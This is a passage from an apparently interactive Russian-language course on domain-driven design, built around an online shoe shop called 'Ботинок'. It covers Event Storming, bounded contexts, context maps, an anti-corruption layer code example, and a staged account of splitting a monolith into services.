- Делите на части. Вместо одного дня — 2–3 встречи по 2–3 часа. Целый день перед камерой выдержать трудно.
- Готовьте доску заранее: длинная лента времени, легенда, заготовки стикеров каждого цвета, место для «парковки» вопросов.
- Хаос — в отдельных комнатах. На хаотическом исследовании группы по 3–4 человека пишут события параллельно, потом сводят на общую ленту.
- Камеры включены, а голос — по очереди. Фасилитатор чаще обычного спрашивает молчащих по имени.
- Плюс онлайна: стена сохраняется сама, её не надо фотографировать и перепечатывать.
глава 6 · живая стена воркшоп «Ботинка» по фазам: от хаоса до границ
Это стена Олега. На ней около пятидесяти стикеров — весь путь кроссовок от каталога до возврата денег. Проведите воркшоп сами: кнопка «Дальше →» переводит стену в следующую фазу. Стикеры появляются, выстраиваются по времени, разъезжаются по дорожкам, обрастают вопросами, людьми и системами. В последней фазе пунктиром проступают границы будущих контекстов.
Под стеной — что в этой фазе делает фасилитатор и зачем. Нажмите на любой стикер — справа появится, кто его наклеил и что он значит. Переключатель «показать только» гасит всё, кроме выбранного вида.
глава 7 · каркас стены поворотные события и дорожки: найдите их сами
Когда события выстроены по времени, стена превращается в длинную ленту из сотни оранжевых стикеров. Читать её подряд трудно. Нужен каркас — несколько опорных точек, которые делят историю на главы.
Четыре признака поворотного события
👥 Меняется хозяин
До события процессом занимаются одни люди, после — другие. До «Заказ отгружен» за заказ отвечает склад, после — перевозчик.
🗣 Меняется язык
До события говорят «корзина, промокод», после — «платёж, чек». Смена словаря — первый признак смены контекста.
🔒 Трудно отменить
После события у компании появились обязательства: взяли деньги, передали товар. Отменить можно только компенсацией — возвратом, отменой, извинением.
📊 Его считают
Это событие владелица смотрит в отчётах: «сколько заказов оформлено», «сколько вручено». Если по событию строят метрики бизнеса — скорее всего, оно поворотное.
Тренажёр: отметьте поворотные события «Ботинка»
Ниже четырнадцать событий со стены. Нажмите на те, которые считаете поворотными, — на них появится флажок ⚑. Потом нажмите «Проверить».
Дорожки
На стене «Ботинка» дорожек три. Верхняя — витрина, заказ и деньги. Средняя — склад и доставка: пока касса пробивает чек, кладовщик уже собирает заказ. Нижняя — бонусы и поддержка: они живут своей жизнью и цепляются к основному потоку в отдельных точках. Посмотрите фазу 5 на живой стене — события разъезжаются по полосам.
Когда проводить
Процессы идут одновременно (сборка и чек). Есть варианты пути (курьер или самовывоз). Есть удачный путь и путь отказа (оплата прошла или отклонена).
Когда не надо
Чтобы разложить события «по отделам» с самого начала. Дорожки должны вырасти из истории, а не из оргструктуры. Иначе вы нарисуете оргструктуру и не увидите, где процесс её пересекает.
Временные вехи
Кроме событий, на стене бывают вехи времени (temporal milestones): «конец месяца», «старт чёрной пятницы», «прошло 14 дней после вручения». Вопрос «что случится, если веху пропустить?» часто находит горячие точки.
глава 8 · границы как из стены проступают границы контекстов
Ради этого момента многие и проводят воркшоп. Стена выстроена, у неё есть каркас. Где провести черту между будущими частями системы? Не на глаз и не «по отделам». Есть несколько признаков — эвристик. Каждая сама по себе может ошибиться. Когда сходятся две-три сразу, черта почти наверняка там.
Пять эвристик
Ножницы: разрежьте ленту сами
Перед вами одиннадцать событий основного пути с пометками: кто их делает и какими словами говорят рядом с ними. Между событиями — щели. Нажмите на щель, чтобы поставить туда ножницы ✂ (ещё раз — убрать). Кнопки эвристик подсвечивают щели, где срабатывает каждый признак. Когда решите — «Проверить».
глава 9 · процесс уровень процесса: оформление заказа целиком, со сбоями
Через неделю после общей картины Олег собрал маленькую группу: Борис, Марина, Семён со склада и Нина из бухгалтерии. Задача одна — разобрать до винтика оформление и оплату заказа. Это уровень процесса: каждый оранжевый стикер получает «причину» (синюю команду) и «последствие» (сиреневую политику).
Ниже — живой разбор. Ряд за рядом появляется цепочка «кто запускает → команда → кто обрабатывает → событие». Под агрегатами — правила-стражи: проверки, которые могут отклонить команду. Справа внизу — состояние заказа, остаток и деньги, ниже — журнал событий. Выберите сценарий и идите по шагам.
Что ещё обязательно спросить на уровне процесса
- «А если не ответит?» — для каждой внешней системы. Шлюз молчит 30 секунд: списаны деньги или нет? Кто и когда это выяснит?
- «А если придёт дважды?» — для каждой политики. Событие «Оплата получена» доставили два раза: не подтвердим ли заказ дважды, не спишем ли бонусы дважды?
- «А по какому времени?» — для каждой вехи. «Резерв держим 15 минут» — от чего считаем? Кто снимает просроченные резервы?
- «На что смотрит человек?» — для каждой ручной команды. Если кладовщику не на что смотреть, он будет звонить.
глава 10 · дизайн уровень дизайна: агрегаты и правила-стражи
На уровне процесса мы писали «Заказ», «Остаток» на больших жёлтых стикерах, не задумываясь. На уровне дизайна Марина задаёт главный вопрос: какие правила обязаны выполняться мгновенно и всегда, а какие могут выполниться чуть позже? От ответа зависит, что будет одной транзакцией, а что — разными.
Как стикеры превращаются в агрегат
Агрегат «Заказ» на языке стены и на языке кода
На стене
Большой жёлтый стикер «Заказ». Слева — синие команды, справа — оранжевые события, на самом стикере — правила:
• нельзя оформить пустую корзину;
• сумма = сумма строк − скидка − бонусы;
• после оплаты состав не меняется;
• отменить можно только до отгрузки.
В коде (набросок)
Заказ
оформить(строки, адрес) → ЗаказОформлен
страж: строк ≥ 1, сумма сходится
подтвердить(платёж) → ЗаказПодтверждён
страж: статус = «оформлен»
изменитьАдрес(адрес) → АдресДоставкиИзменён
страж: статус ≠ «отгружен»
отменить(причина) → ЗаказОтменён
страж: статус ≠ «отгружен»Тренажёр: правило внутри агрегата или между ними?
Для каждого правила «Ботинка» решите: должно ли оно выполняться мгновенно, в одной транзакции с командой, — или может выполниться чуть позже через событие и политику.
Решено 0 из 0.
глава 11 · в архитектуру со стены — в код и в Kafka: что получается из каждого стикера
Архитектор Марина забрала фотографии стены и разложила стикеры по будущим частям системы. Оказалось, что у каждого цвета есть прямой «наследник» в архитектуре. Именно поэтому язык стены и язык кода у «Ботинка» совпадают: событие «Заказ оформлен» на стене и сообщение OrderPlaced в Kafka — одно и то же.
Таблица наследования
Нажмите на строку — раскроется пояснение.
Кликните по контексту — увидите, что из него получится
Это кандидаты в контексты со стены (глава 6, последняя фаза). Для каждого: на каком языке там говорят, какие агрегаты и правила, какие команды станут API, какие события и в какие темы Kafka он публикует, кого слушает, какие модели чтения строит и во что превращаются его горячие точки.
Политика между контекстами — это сага
Цепочка «заказ оформлен → резерв → оплата → подтверждение» проходит через три контекста. Сделать её одной транзакцией нельзя: у каждого контекста своя база. Поэтому она становится сагой на событиях. Пройдите её по шагам — со сбоем оплаты.
📮 Событие нельзя потерять
«Заказ оформлен» записан в базу Продаж, а до Kafka не дошёл — Склад не узнает о заказе, товар не зарезервируется. Лечится шаблоном «исходящий ящик»: событие пишется в ту же транзакцию, что и заказ, а отдельный процесс отправляет его в брокер. Подробно — .
🔁 Событие может прийти дважды
Kafka и большинство брокеров на практике гарантируют доставку «хотя бы один раз». Значит, каждая политика-подписчик должна быть идемпотентной: второе «Оплата получена» не подтверждает заказ повторно. Как устроены темы, разделы и ключи — .
🔢 Порядок — по ключу
Kafka хранит порядок только внутри раздела. Поэтому события одного заказа публикуют с ключом «номер заказа»: тогда «оформлен», «подтверждён» и «отменён» одного заказа придут подписчику по порядку.
📗 Модель чтения — отдельная проекция
Зелёный стикер «Карточка заказа для поддержки» собирается из событий четырёх контекстов в отдельную базу для чтения. Запись и чтение разделены — это CQRS. Подробно — .
глава 12 · фасилитация роли, правила и шесть способов провалить воркшоп
Олег на этом воркшопе не эксперт ни в складе, ни в бонусах. Его работа — не знать ответы, а сделать так, чтобы ответы прозвучали.
Кто есть кто у стены
🎙 Фасилитатор
Олег. Ведёт фазы, задаёт вопросы «а что было до этого?», «а если не получилось?», превращает споры в горячие точки.
📸 Помощник
Марина в этот раз. Следит за временем, записывает решения и вопросы, фотографирует стену по кускам. Без помощника фасилитатор либо ведёт, либо записывает.
🧭 Тот, кто решает
Вера, владелица. Не нужна каждую минуту, но нужна, когда спор упирается в «а как мы хотим?». Без неё горячие точки так и останутся вопросами.
📦 Эксперты
Семён, Лида, Кира, Нина. Знают, как на самом деле работает их кусок, — со всеми обходными путями и звонками «по старой дружбе».
💻 Разработчики
Борис. Слушают язык бизнеса из первых уст, задают вопросы «а что, если…», рассказывают, как сейчас работает система. Не проектируют вслух.
🚫 Наблюдатели
Тех, кто «просто послушает», лучше не звать. Человек, который не клеит стикеры, но оценивает остальных, глушит честные разговоры.
Правила, которые Олег повторял весь день
- Сначала пишем, потом спорим. Спор без стикера — потерянное время. Спорный момент — красный стикер, и дальше.
- Нет неправильных стикеров. Дубликат лучше, чем молчание. Лишнее уберём на хронологии.
- Говорим про бизнес, не про технику. «Kafka», «микросервис», «таблица» — на парковку до уровня дизайна.
- Термин спорный — фиксируем оба. «Отправлен» у склада и у поддержки — два значения. Записать оба на горячую точку, договориться о словах позже.
- Стену не причёсываем. Красота вредит: люди перестают клеить, боясь «испортить» ровные ряды.
Типичные провалы
Тренажёр: спасите воркшоп
Ситуации из реальных воркшопов. Что сделает хороший фасилитатор?
Решено 0 из 0.
глава 13 · родственники Domain Storytelling, Event Modeling, Example Mapping, User Story Mapping
Event Storming — не единственный способ собрать знание у стены. У него есть родственники. Они не соперники: хорошая команда держит в кармане несколько и выбирает под задачу.
📖 Domain Storytelling
Авторы — Штефан Хофер и Хеннинг Швентнер (Stefan Hofer, Henning Schwentner), книга 2021 года. Эксперт рассказывает одну конкретную историю: «Лида получает звонок, находит заказ, оформляет возврат…». Ведущий тут же рисует её пиктограммами: человечки-акторы, предметы — рабочие объекты, стрелки — действия, у каждой стрелки номер шага. Ветвлений «если — иначе» нет: другой вариант — другая история.
🧱 Event Modeling
Автор — Адам Дымитрук (Adam Dymitruk), 2019 год. Чертёж информационной системы на ленте времени: сверху макеты экранов, ниже — команды (синие), события (оранжевые) и представления, то есть модели чтения (зелёные), по горизонтальным полосам владельцев. Всё описывается четырьмя шаблонами: изменение состояния, представление состояния, автоматизация, перевод из внешней системы. Получается спецификация, по которой пишут код.
🗂 Example Mapping
Автор — Мэтт Уинн (Matt Wynne), 2015 год. Разбор одной пользовательской истории на карточках: жёлтая — история, синие — правила, зелёные — примеры к каждому правилу, красные — вопросы, на которые никто не ответил. На хорошо понятную историю уходит около 25 минут. Результат — критерии приёмки.
🗺 User Story Mapping
Автор — Джефф Паттон (Jeff Patton), книга 2014 года. По горизонтали — шаги пути пользователя («хребет» карты), под каждым шагом — истории по важности. Горизонтальные срезы — релизы: верхний срез — самый маленький продукт, с которым уже можно пройти весь путь. Инструмент планирования, а не поиска границ.
Сравнение
Тренажёр: какую технику выбрать
Решено 0 из 0.
глава 14 · результат что аналитик забирает со стены
Вечером воркшоп закончился, люди разошлись. Стена осталась. Для Олега начинается самая важная часть: превратить двести стикеров в документы, по которым будут работать. Если этого не сделать, через месяц стену снимут, и останется только приятное воспоминание.
Глоссарий: первые строки
Самые ценные строки — где одно слово значит разное в разных контекстах.
| Термин | Контекст | Что значит | Чем НЕ является |
|---|---|---|---|
| Заказ | Продажи | Обещание покупателю: состав, цена, адрес, способ оплаты | Не сборочное задание склада |
| Отгружен | Склад | Посылка передана перевозчику и покинула склад | Не «письмо отправлено клиенту». Слово «отправлен» решили не использовать вовсе |
| Резерв | Склад | Пара закреплена за заказом и не продаётся другим; держится 15 минут до оплаты | Не «товар в корзине»: корзина ничего не резервирует |
| Бонусы начислены | Лояльность | Бонусы доступны к трате; через 14 дней после вручения, если не было возврата | Не «обещанные бонусы», которые клиент видит сразу после оплаты |
| Возврат | Поддержка / Оплата | В Поддержке — заявка покупателя и решение по ней; в Оплате — перевод денег обратно на карту | Два разных факта: «Возврат одобрен» и «Деньги возвращены» |
Каталог событий: карточка события
Каждое важное событие получает карточку. Это и требование, и будущий контракт сообщения. Выберите событие.
Как это звучит в требованиях
Горячие точки и правила со стены превращаются в требования — функциональные и нефункциональные. Как писать требования хорошо, разобрано в разделе .
| Что было на стене | Что стало в требованиях |
|---|---|
| Горячая точка «Когда начислять бонусы?» → решение Веры | «Бонусы за заказ начисляются через 14 календарных дней после события „Заказ вручён“, если по заказу не было события „Возврат одобрен“. До начисления покупатель видит бонусы как „ожидаемые“» |
| Горячая точка «Сколько держим резерв?» | «Резерв действует 15 минут с момента „Товар зарезервирован“. Если за это время нет „Оплата получена“, резерв снимается с событием „Резерв снят“, а заказ отменяется» |
| Политика «Когда заказ оформлен — резервируем» | «Событие „Заказ оформлен“ доступно подписчикам не позднее 2 секунд после фиксации заказа (p99). Доставка — хотя бы один раз, обработчики идемпотентны по номеру заказа» |
| Горячая точка «Поддержка не видит посылку» + возможность | «Оператор поддержки видит в карточке заказа статус доставки и трек-номер с отставанием не более 5 минут от события перевозчика» |
| Правило-страж «Резерв не больше остатка» | «Система не допускает резерв сверх доступного остатка ни при каком числе одновременных заказов. Проверка — в одной транзакции с резервом» |
| Внешняя система «Платёжный шлюз» + вопрос «а если не ответит?» | «При отсутствии ответа шлюза за 10 секунд платёж получает статус „неизвестен“; сверка с банком выполняется не реже раза в 15 минут; повторное списание по тому же заказу исключено ключом идемпотентности» |
глава 15 · проверь себя двенадцать вопросов по Event Storming
Решено 0 из 0.
Одно слово в разных отделах значит разное. «Заказ» у продавца, у кладовщика и у бухгалтера — три разные вещи с разными полями и разными правилами. Не надо договариваться об «одном правильном определении». Надо признать, что их три, провести границу и связать их номером.
зачем это зачем нужны ограниченные контексты
зачем это вообще что за контексты и почему на них режут
Начнём с честного вопроса: зачем вообще что-то резать на «контексты»? Ответ проще, чем кажется, и он не про код.
Житейски: одно слово, разные смыслы
Слово «ключ». В слесарной мастерской это инструмент. В гостинице — то, чем открывают номер. В музыке — знак в начале нотной строки. У программиста — поле, по которому ищут запись.
Никто не спорит, какое значение «правильное». Просто у каждой области свой словарь, и внутри неё путаницы нет. Проблемы начинаются, только когда две области пытаются говорить одним словарём.
А теперь то же самое в «Ботинке»
Нажмите на каждый отдел — посмотрите, что он имеет в виду под словом «заказ».
Вот теперь — зачем режем
интерактив одно слово — четыре модели
Выберите слово и посмотрите, что оно значит в четырёх контекстах интернет-магазина. Обратите внимание: пересечение полей почти пустое, а поведение различается полностью. Попытка слить это в один класс порождает сущность с полусотней полей, где каждому нужна своя четверть.
различие поддомен и контекст — не синонимы
Поддомен — пространство задачи
Кусок реальности бизнеса: «управление складом» существует и без нас, даже если склад ведут в тетрадке. Поддомены мы обнаруживаем, анализируя деятельность компании. Их нельзя придумать — можно только неправильно разглядеть.
Контекст — пространство решения
Кусок нашей системы со своей моделью и своим языком. Контексты мы проектируем. Их границы — наше решение, и за него мы отвечаем.
В идеале один контекст = один поддомен. На практике встречается и другое, и это не всегда ошибка:
- Один поддомен разбит на несколько контекстов — обычно вынужденно: часть уже живёт в legacy-системе, часть в новой. Признак технического долга, но иногда осознанное переходное состояние.
- Один контекст покрывает несколько поддоменов — нормально для мелких поддерживающих кусков, которые не стоят отдельного сервиса. Не плодите сущности без нужды.
- Контекст совпал с покупным продуктом — типично для общих поддоменов: «1С» или платёжный провайдер целиком является контекстом с чужой моделью, и наша задача — изолировать его.
интерактив соберите модель заказа для склада
Перед вами поля, которые есть в системе вокруг заказа. Отметьте те, что нужны контексту «Склад» для его работы — сборки и отгрузки. Лишнее поле в модели контекста так же вредно, как недостающее: оно создаёт ложную зависимость и повод лезть в чужие данные.
признаки как понять, что перед вами два контекста, а не один
механика чем контексты связаны, если не общими классами
Идентификатором
В «Складе» лежит orderId — и всё. Ни полей заказа, ни его статусов. Если складу нужна цена, он спрашивает у «Продаж» или получает её в событии.
Событием с копией нужных полей
«Продажи» публикуют OrderPlaced{orderId, items[], address}. «Склад» берёт из события только то, что ему нужно, и кладёт к себе. Это своя копия, а не ссылка на чужое.
Явным переводчиком на границе
Слой предотвращения порчи переводит чужие понятия в свои: «реализация» из 1С становится «отгрузкой» на входе в наш контекст. Чужая модель дальше границы не проникает.
Order для всех контекстов, «чтобы не дублировать». Дублирование трёх полей в двух контекстах стоит копейки; общая модель стоит того, что вы больше никогда не сможете менять её в одиночку. Это тот редкий случай, когда DRY вреден: DRY применяется к знанию, а не к структурам данных, и «заказ на складе» и «заказ в бухгалтерии» — разное знание.задание контексты на практике
Решено 0 из 0.
Между двумя частями системы всегда есть отношения. Кто диктует формат, кто подстраивается, кто от кого защищается переводчиком. Если эти отношения не назвать вслух, они сложатся сами — и обычно в форме «мы подстраиваемся под всех».
зачем это зачем рисовать карту контекстов
зачем это вообще отношение — это не про код, это про людей
Самое непонятное место во всей теме. Давайте начистоту: отношение между контекстами — это договорённость двух команд о том, кто под кого подстраивается. Всё. Никакой техники.
Вопрос, на который отвечает отношение
Он всего один, и звучит так:
Пока ответа нет, каждое изменение превращается в переговоры с нуля, а иногда и в скандал. Когда ответ записан заранее — это просто рабочая процедура.
Что бывает, когда отношение не названо
на живом примере пять разговоров, которые решает карта контекстов
Тот же магазин «Ботинок». Нажмите на разговор — увидите, какое здесь отношение, что оно значит на практике и что делать дальше.
что делать дальше карта нарисована — и?
Самый честный вопрос: хорошо, повесили схему на стену. Что с ней делают в понедельник?
как выглядит сама карта контекстов — вот она
Сначала о том, что вообще имеется в виду под словом «карта». Это буквально схема на стене: коробки — части системы, стрелки — кто с кем разговаривает, подписи на стрелках — какие между ними отношения.
КАРТА КОНТЕКСТОВ «БОТИНКА»
┌───────────┐ партнёрство ┌───────────┐
│ Подбор │◄══════════════►│ Заказы │
│ размера │ │ │
└─────▲─────┘ └─────┬─────┘
║ событием │ заказчик
┌─────╨─────┐ ┌─────▼─────┐
│ Возвраты │ │ Склад │
└───────────┘ └───────────┘
┌───────────┐ ┌───────────┐
│ Каталог │───подстраиваемся──►│ Прайсы │
└───────────┘ (чужой формат) └───────────┘
┌───────────┐ прослойка ┌───────────┐
│ Заказы │───[перевод]───►│ Старый │
└───────────┘ │ склад 1С │
└───────────┘
┌───────────┐ ┌───────────┐
│ Все части │───очередь─────►│ Платформа │
└───────────┘ │ входа │
└───────────┘
═══► обе стороны договариваются
───► одна сторона зависит от другой
[..] прослойка-переводчик на границе
проиграйте восемь отношений: что происходит, когда сосед меняет формат
Отношения проще понять не по описанию, а по тому, как они ведут себя при изменении. Выберите отношение и нажимайте «Дальше» — увидите, что происходит по шагам.
каталог восемь отношений между контекстами
Нажмите на карточку, чтобы раскрыть подробности: когда применять, чем платить, как выглядит на практике.
интерактив подберите отношение под ситуацию
Решено 0 из 0.
подробно слой предотвращения порчи (ACL) — как он выглядит в коде
Это самый нужный из восьми паттернов и единственный, который вы будете применять почти в каждой интеграции. Его смысл: чужая модель не должна проникать внутрь вашего контекста. Всё, что приходит снаружи, на границе переводится в ваши понятия; всё, что уходит, — в чужие.
// ─── Плохо: чужая модель растеклась по всему коду ─── // Классы сгенерированы из чужого WSDL и используются напрямую. class OrderService { void ship(ExternalShipmentResponseTypeV2 resp){ // чужое имя в нашем коде if("SHP_ST_04".equals(resp.getStatusCode())){ // чужая магия order.setStatus("SHIPPED"); } } } // Последствия: смена перевозчика = правки по всей кодовой базе; // значение "SHP_ST_04" знают в шести местах; тесты требуют чужих классов. // ─── Хорошо: переводчик на границе ─── interface ShippingGateway { // НАШ контракт, наши слова ShipmentStatus statusOf(OrderId id); // наш enum, наш тип } class DhlShippingAdapter implements ShippingGateway { // ACL public ShipmentStatus statusOf(OrderId id){ var resp = dhlClient.track(id.value()); // чужое живёт только здесь return switch(resp.getStatusCode()){ // перевод один раз, в одном месте case "SHP_ST_04", "SHP_ST_05" -> ShipmentStatus.DELIVERED; case "SHP_ST_02" -> ShipmentStatus.IN_TRANSIT; default -> ShipmentStatus.UNKNOWN; }; } } // Смена перевозчика = новая реализация интерфейса. Остальной код не знает, // что перевозчик вообще менялся. Тесты домена работают на заглушке.
Когда ACL обязателен
- Интеграция с покупной или legacy-системой, чью модель вы не контролируете.
- Внешний партнёр, который меняет контракт без предупреждения.
- Общий поддомен, который вы планируете однажды заменить.
- Любой контекст, где «их» слова не совпадают с «вашими».
Когда ACL — лишняя работа
- Внутренний сервис вашей же команды с общим языком: перевод получится тождественным.
- Контракт стабилен и спроектирован специально для потребителей (см. «Открытая служба»).
- Интеграция одноразовая и будет выброшена через месяц.
практика как нарисовать карту за один день
Границу проводят там, где по разные стороны требования разные, а внутри — одинаковые. Не там, где красиво на схеме, и не там, где проходит граница отделов. Этот раздел — практический метод: по каким признакам искать шов, как проверить его цифрами и как оформить результат. Ведёт нас одна история. Аналитик Олег и разработчик Борис режут «Ботинок» три раза: два раза неудачно и один раз так, что с этой нарезкой магазин живёт до сих пор.
зачем это зачем резать систему на части
карта раздела одна история, шестнадцать глав
Главы 1–4 — история трёх попыток. Глава 5 — сам метод по шагам. Главы 6–11 — инструменты, которыми границу находят и проверяют: линзы, языковые границы, матрица изменений, живая модель связности, сценарии. Главы 12–15 — как довести дело до кода и до документа. Опирается на разделы , , и . Кнопка переносит к главе.
глава 1 · завязка «Ботинок» вырос: среда, общий релиз и два часа без заказов
Три года назад «Ботинок» был одной программой и одной командой из пяти человек. Сейчас разработчиков 38, команд пять, а программа всё ещё одна. Выкатывают её раз в неделю, в среду, все вместе.
В прошлую среду команда подбора размера выкатила новую модель. Вместе с ней уехала недоделанная правка корзины из соседней команды. Два часа покупатели не могли оформить заказ. Анна трижды нажимала «Оформить» и ушла к конкурентам.
Технический директор сказал: «Режем на микросервисы». Аналитику Олегу и разработчику Борису поручили предложить, как именно. Они резали три раза. Первые две попытки провалились — и это самое поучительное в истории. Но сначала три слова, без которых разговор о нарезке не получится.
Ради чего вообще режем
Резать систему на части нужно ровно для одного: чтобы изменение затрагивало одно место, а команда, которая его делает, не спрашивала разрешения у остальных. Не ради моды, не ради слова «современнее» и не ради красивой схемы.
Как Олег записал цель — так, чтобы её можно было проверить
Олег знал: «нарезать хорошо» — не требование. Его нельзя проверить. Поэтому первым делом он написал цель в виде чисел. Эти же три числа мы будем считать во всех интерактивах раздела.
ЦЕЛИ НАРЕЗКИ «БОТИНКА» (из постановки Олега)
Ц-1 Не меньше 70 % задач квартала меняют одну часть системы
и выкатываются без согласования с другими командами.
Ц-2 Падение необязательной части (рекомендации, отзывы)
не мешает оформить заказ.
Ц-3 Оформление заказа делает не больше 3 синхронных
вызовов между частями; остальное — событиями.
Ц-4 У каждой части одна команда-владелец и свои данные.
Чужие таблицы напрямую никто не читает.
Как проверяем: раз в квартал — по истории задач в трекере
и по трассировкам оформления заказа.
глава 2 · попытка №1 режем по слоям: торт на коржи
Борис много лет писал по трёхслойной схеме: интерфейс, бизнес-логика, данные. «Давай так и разрежем, — предложил он. — У нас и люди так устроены: фронтендеры, бэкендеры, администратор базы. Каждой группе — свой сервис». Схема на доске получилась аккуратной: три прямоугольника один под другим.
Через месяц пришла первая задача от маркетинга: «вторая пара за полцены». Правило скидки легло в таблицу сервиса данных. Расчёт — в сервис логики. Строчка «скидка 50 %» — в сервис интерфейса. Три команды, три релиза, и строго по порядку: сначала данные, потом логика, потом экран. Ошибка в любом звене — откат всех трёх.
Пощёлкайте сами. Выберите нарезку и задачу. Подсвечено, какие части придётся менять. Пока смотрите на «по слоям». Две другие нарезки разберём в главах 3 и 4 — к этой схеме ещё вернёмся.
Почему так вышло
Любая фича — поперёк всех слоёв
Бизнес меняет не «слой», а дело: скидки, доставку, возвраты. А у каждого дела есть и экран, и правила, и данные. Значит, каждая задача режет все три сервиса.
Резали по людям, а не по делу
Команды были собраны по технологиям — и система повторила их устройство. Это закон Конвея в действии (глава 5, шаг 7). Только повторила она худшее: никто не владеет делом целиком.
Сеть внутри каждой операции
Каждый запрос покупателя идёт интерфейс → логика → данные. Раньше это были вызовы функций, теперь — три сетевых прыжка. Медленнее и ненадёжнее, а независимости ноль.
глава 3 · попытка №2 режем по сущностям: сервис на каждое существительное
«Ладно, слои — это техника, — согласился Борис. — Надо резать по предметной области. У нас есть Товар, Клиент, Корзина, Заказ, Платёж, Остаток, Резерв, Доставка, Возврат. Девять существительных — девять сервисов. Это же и есть DDD!» Олег открыл схему базы, обвёл кружками группы таблиц и подписал имена. Звучало убедительно. Так делают очень многие.
Как теперь оформляется заказ
Анна нажимает «Оформить». Пройдите по стрелкам: кто кого зовёт и что может сломаться. Доставку и письмо мы для краткости опустили — с ними вызовов ещё больше.
Три беды, которые всплыли за первый месяц
Болтовня
Девять сетевых вызовов на одно оформление. Если каждый сервис доступен 99,9 % времени, вся цепочка — около 0,9999 ≈ 99,1 %. Это примерно 79 часов в год, когда оформить заказ нельзя. У одного сервиса было бы меньше 9 часов.
Разорванные транзакции
Остаток и Резерв — в разных сервисах. Между «есть ли пара» и «зарезервировать» есть окно, в которое проскочит второй покупатель. Последнюю пару 42-го размера продали дважды. Пришлось писать сагу там, где раньше хватало одной транзакции.
Бог-сервис «Заказ»
Логике оформления негде жить: сущности умеют только хранить. Вся она стянулась в «Заказ». Он знает про цены, остатки, баллы и платежи. Любое изменение любого процесса — правка «Заказа».
А что с задачами? Вернитесь к схеме главы 2 и выберите «по сущностям». «Скидка на вторую пару» теперь трогает Товар (там лежит цена), Корзину (пересчёт) и Заказ (фиксация суммы). Частичный возврат денег — четыре сервиса и сага.
Почему сущность — не граница
Существительное «Товар» живёт сразу в пяти процессах: в витрине, в цене, на складе, в чеке, в доставке. И в каждом значит своё. На витрине товар — это фото и описание. На складе — пара в ячейке с габаритами. В чеке — позиция со ставкой НДС. Собрав их в один «сервис Товара», Борис склеил пять разных моделей в одну и разрезал каждый процесс на куски.
глава 4 · попытка №3 режем по бизнес-возможностям и языку
Олег закрыл схему базы и пошёл к людям: на склад, в колл-центр, к маркетологам, к финансистам, к специалистам по подбору размера. Он спрашивал не «какие у вас таблицы», а «что вы делаете, какими словами это называете и что для вас важно». Борис сидел рядом и выписывал глаголы.
Семь шагов, которые Олег и Борис прошли за две недели
Полный проход по живому примеру. На каждом шаге: что делаем · что получилось на «Ботинке» · как понять, что шаг сделан верно · частая ошибка. В главе 5 этот же путь разобран как метод, который вы повторите на своей системе.
Что получилось: двенадцать контекстов
Итог третьей попытки. Сплошная цветная рамка — основной поддомен, пунктир — общий (его выгоднее купить). Зелёное свечение — части, которые решили сразу сделать отдельными сервисами. Остальные девять живут модулями одного модульного монолита. Почему именно так — в главах 10 и 12.
Как теперь оформляется заказ
глава 5 · метод алгоритм нарезки: десять шагов
Третья попытка удалась не потому, что Олегу повезло. Он задавал вопросы в правильном порядке. Ниже тот же путь, разобранный как метод. Шаги 1–4 ищут кандидатов в границы. Шаги 5–8 проверяют их. Шаги 9–10 превращают границы в решение.
Весь алгоритм на одной странице
Шпаргалка для воркшопа. Справа — вопрос, на который шаг должен ответить «да», прежде чем идти дальше.
| # | Шаг | Готово, если… |
|---|---|---|
| 1 | Понять бизнес и поддомены | Для каждого поддомена названы тип (основной, поддерживающий, общий) и человек из бизнеса, который за него отвечает |
| 2 | Собрать события, найти поворотные | На ленте событий отмечены 3–6 поворотных событий, и бизнес с ними согласен |
| 3 | Найти языковые границы | Для каждого спорного слова записано, что оно значит в каждой группе |
| 4 | Сгруппировать по возможностям | У каждой группы есть название-глагол и назначение в одну фразу без «и» |
| 5 | Проверить данные и инварианты | Ни одно правило «всегда должно быть верно» не требует транзакции через границу |
| 6 | Проверить связность | На главный сценарий ≤ 3 синхронных вызовов между группами; большинство задач истории трогают одну группу |
| 7 | Проверить команды | У каждой группы ровно одна команда-владелец, и ей хватает сил её вести |
| 8 | Проверить нефункциональные силы | Для каждой группы записаны нагрузка, доступность, класс данных, регуляторика и темп изменений |
| 9 | Выбрать отношения на карте | У каждой стрелки между группами есть тип отношения и способ связи: событие или вызов |
| 10 | Модули или сервисы | Для каждого отдельного сервиса записана названная причина в решении (ADR) |
глава 6 · главный интерактив карта «Ботинка» с линзами: восемь эвристик на одной схеме
Шаги 3–8 алгоритма — это, по сути, взгляд на систему через разные «линзы». Каждая линза задаёт один вопрос и группирует функции по-своему. Олег и Борис прошли все восемь — и увидели, что линзы то сходятся, то спорят.
Перед вами 20 функций и сущностей «Ботинка». Включайте линзы по очереди: функции перелетят в группы, а пунктирные рамки покажут кандидатные границы по этой линзе. Нажмите на функцию — увидите её группу и почему она там. Пройдите все восемь линз, потом нажмите «Наложить все линзы».
глава 7 · язык одно слово — разные смыслы: где проходит языковая граница
Самая сильная линза — язык. Олег ходил по отделам и задавал одни и те же вопросы про одни и те же слова. На слове «заказ» он насчитал шесть разных смыслов.
Выберите слово. Карточки — отделы: что они имеют в виду и как говорят. Ниже — те же 20 функций, окрашенные по смыслу слова. Серые с пунктиром — слово там не используется вовсе. Нажмите на отдел — подсветятся функции, которые говорят на его диалекте.
Как спрашивать на интервью
«Что для вас заказ? Какие у него поля? Что с ним можно сделать? Когда он для вас начинается и когда заканчивается? Кто ещё может его поменять?» Глаголы важнее существительных: они показывают поведение.
Когда это не граница
Если отличаются только слова, а поля и правила одни — это синонимы. Маркетинг говорит «чек», продажи — «заказ», но имеют в виду одно и то же. Здесь нужен общий словарь, а не новая граница.
глава 8 · эвристики двенадцать признаков шва: аналогия, пример и когда врёт
Хорошая граница обычно совпадает сразу по нескольким признакам — это знак, что вы нашли настоящий шов, а не провели линию наугад. Ниже двенадцать признаков. У каждого: житейская аналогия, пример на «Ботинке» и случай, когда признак обманывает. Нажмите, чтобы раскрыть.
Тренажёр: какой признак здесь сработал?
Решено 0 из 0.
глава 9 · история задач матрица совместных изменений: швы видны по прошлому
Линзы — это взгляд людей. Борису хотелось фактов. Он выгрузил из трекера 140 задач за полгода и для каждой выписал, какие из 20 функций она задела. Потом посчитал для каждой пары функций: сколько задач меняли их вместе.
Сначала матрица стоит «как в коде» — в порядке, в котором функции лежат в папках монолита. Пятна разбросаны, ничего не понятно. Переключите порядок на «по кластерам». Потом двигайте порог: связи слабее порога игнорируются, а оставшиеся склеивают функции в кластеры — кандидатов в контексты. Нажмите на клетку — увидите, какие задачи её дали.
